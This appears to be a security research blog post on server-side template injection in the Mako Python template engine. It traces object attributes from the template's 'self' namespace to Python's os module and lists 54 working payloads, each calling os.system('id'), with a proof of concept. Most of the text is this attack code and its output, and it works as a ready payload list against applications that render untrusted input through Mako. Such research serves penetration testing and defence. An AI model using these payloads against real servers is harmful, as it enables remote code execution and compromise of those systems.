Python context free payloads in Mako templates
Introduction
A few weeks ago, I presented an article on code execution in Jinja2 templates in which I built context-free payloads and allowing access to the os
module every time. Today, I present to you another template engine, Mako.
The Mako template engine is used in the Pylons and Pyramid web framework and on the site reddit.com
Reconnaissance phase
First of all, we will look for interesting elements in the source code of the module. To do this, you have to install Mako (python3 -m pip install mako
), and type the following lines in a Python interpreter to get the location of the module:
# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> import mako
>>> mako.__file__
'/usr/local/lib/python3.10/site-packages/mako/__init__.py'
>>>
The Python module has a few files and is organized like this:
mako/
├── __init__.py
├── _ast_util.py
├── ast.py
├── cache.py
├── cmd.py
├── codegen.py
├── compat.py
├── exceptions.py
├── ext
│ ├── __init__.py
│ ├── autohandler.py
│ ├── babelplugin.py
│ ├── beaker_cache.py
│ ├── extract.py
│ ├── linguaplugin.py
│ ├── preprocessors.py
│ ├── pygmentplugin.py
│ └── turbogears.py
├── filters.py
├── lexer.py
├── lookup.py
├── parsetree.py
├── pygen.py
├── pyparser.py
├── runtime.py
├── template.py
└── util.py
Interesting elements
The first thing to do is to find all the files with the directly imported os
module:
root@fb55bf594db4:/usr/local/lib/python3.10/site-packages/mako# grep -Rni 'import os' .
./util.py:12 :import os
./ext/autohandler.py:28 :import os
./template.py:11 :import os
./template.py:180 : import os
./lookup.py:7 :import os
This will be useful to create direct paths to the os
module from the TemplateNamespace
object.
Exploring paths in the Mako module
TemplateNamespace
To build this payload, we’ll start from the TemplateNamespace object and try to connect the paths to these modules through the Python objects.
>>> from mako.template import Template
>>> print(Template("${self}").render())
<mako.runtime.TemplateNamespace object at 0x7f1174fcac50>
>>>
A first path to os from TemplateNamespace
The first thing we can notice is that the TemplateNamespace
object is declared in the mako.runtime
submodule (runtime.py
file). So let’s go to the beginning of this file to find the interesting imports
:
# mako/runtime.py
# Copyright 2006-2020 the Mako authors and contributors <see AUTHORS file>
#
# This module is part of Mako and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php
"""provides runtime services for templates, including Context,
Namespace, and various helper functions."""
import functools
import sys
from mako import compat
from mako import exceptions
from mako import util
from mako.compat import compat_builtins
These are very interesting results! We have access to the util
submodule (util.py
file) in the runtime
submodule. However, we saw above that the os
module is imported into the util.py
file. We will therefore access it in two stages.
First step, access the util
submodule. To do this we will use the .__init__.__globals__
technique. We start from the self
instance of the TemplateNamespace
object and then we go back to its self.__ init__
constructor. Then from the constructor, we will go back to the __globals__
dictionary containing all the global variables of the file (and therefore the imported modules). Then we just need to access the ['util']
key of the __globals__
and we arrive in the util
module. Finally, we just have to do a ['util'].os
to access the os
module of this submodule. The final payload therefore becomes:
>>> print(Template("${self.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
This path to bone was the most obvious to find, but we can find more!
Introspection on TemplateNamespace
To go further and find new paths, we need to list the attributes of self
:
>>> print(Template("${f(self)}").render(f=dir))
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri']
We will iterate over the attributes of the object to display its name and type each time. To do this you have to use these few lines of python, allowing to regenerate a template each time and to display its result:
subkeys = [
'__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri'
]
for subkey in subkeys:
try:
print(Template("%s => ${f(self.%s)}" % (subkey, subkey)).render(f=type))
except Exception as e:
pass
And we get:
__class__ => <class 'type'>
__delattr__ => <class 'method-wrapper'>
__dict__ => <class 'dict'>
__dir__ => <class 'builtin_function_or_method'>
__doc__ => <class 'str'>
__eq__ => <class 'method-wrapper'>
__format__ => <class 'builtin_function_or_method'>
__ge__ => <class 'method-wrapper'>
__getattr__ => <class 'method'>
__getattribute__ => <class 'method-wrapper'>
__gt__ => <class 'method-wrapper'>
__hash__ => <class 'method-wrapper'>
__init__ => <class 'method'>
__init_subclass__ => <class 'builtin_function_or_method'>
__le__ => <class 'method-wrapper'>
__lt__ => <class 'method-wrapper'>
__module__ => <class 'str'>
__ne__ => <class 'method-wrapper'>
__new__ => <class 'builtin_function_or_method'>
__reduce__ => <class 'builtin_function_or_method'>
__reduce_ex__ => <class 'builtin_function_or_method'>
__repr__ => <class 'method-wrapper'>
__setattr__ => <class 'method-wrapper'>
__sizeof__ => <class 'builtin_function_or_method'>
__str__ => <class 'method-wrapper'>
__subclasshook__ => <class 'builtin_function_or_method'>
__weakref__ => <class 'NoneType'>
_get_star => <class 'method'>
_populate => <class 'method'>
_templateuri => <class 'str'>
attr => <class 'mako.runtime._NSAttr'>
callables => <class 'tuple'>
context => <class 'mako.runtime.Context'>
filename => <class 'NoneType'>
get_cached => <class 'method'>
get_namespace => <class 'method'>
get_template => <class 'method'>
include_file => <class 'method'>
inherits => <class 'NoneType'>
module => <class 'module'>
name => <class 'str'>
template => <class 'mako.template.Template'>
uri => <class 'str'>
A few lines seem particularly interesting:
attr => <class 'mako.runtime._NSAttr'>
context => <class 'mako.runtime.Context'>
module => <class 'module'>
template => <class 'mako.template.Template'>
For the attr
attribute, we know that it is located in the mako.runtime
submodule which contains an import to the mako.util
submodule which itself imports os
. So we can access it directly like this:
>>> print(Template("${self.attr.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
The same for the context
attribute located in the same mako.runtime
submodule:
>>> print(Template("${self.context.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
By repeating the operation on each attribute and its sub-attributes we can find a large number of paths to os
!
Final payloads
By exploring all the attributes on a depth of 8 levels maximum, I was able to find 54 direct accesses to the os
module in Mako, allowing access every time. Here they are :
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
Here is the proof of concept:
# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> from mako.template import Template
>>> print(Template("${self.module.cache.util.os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
>>>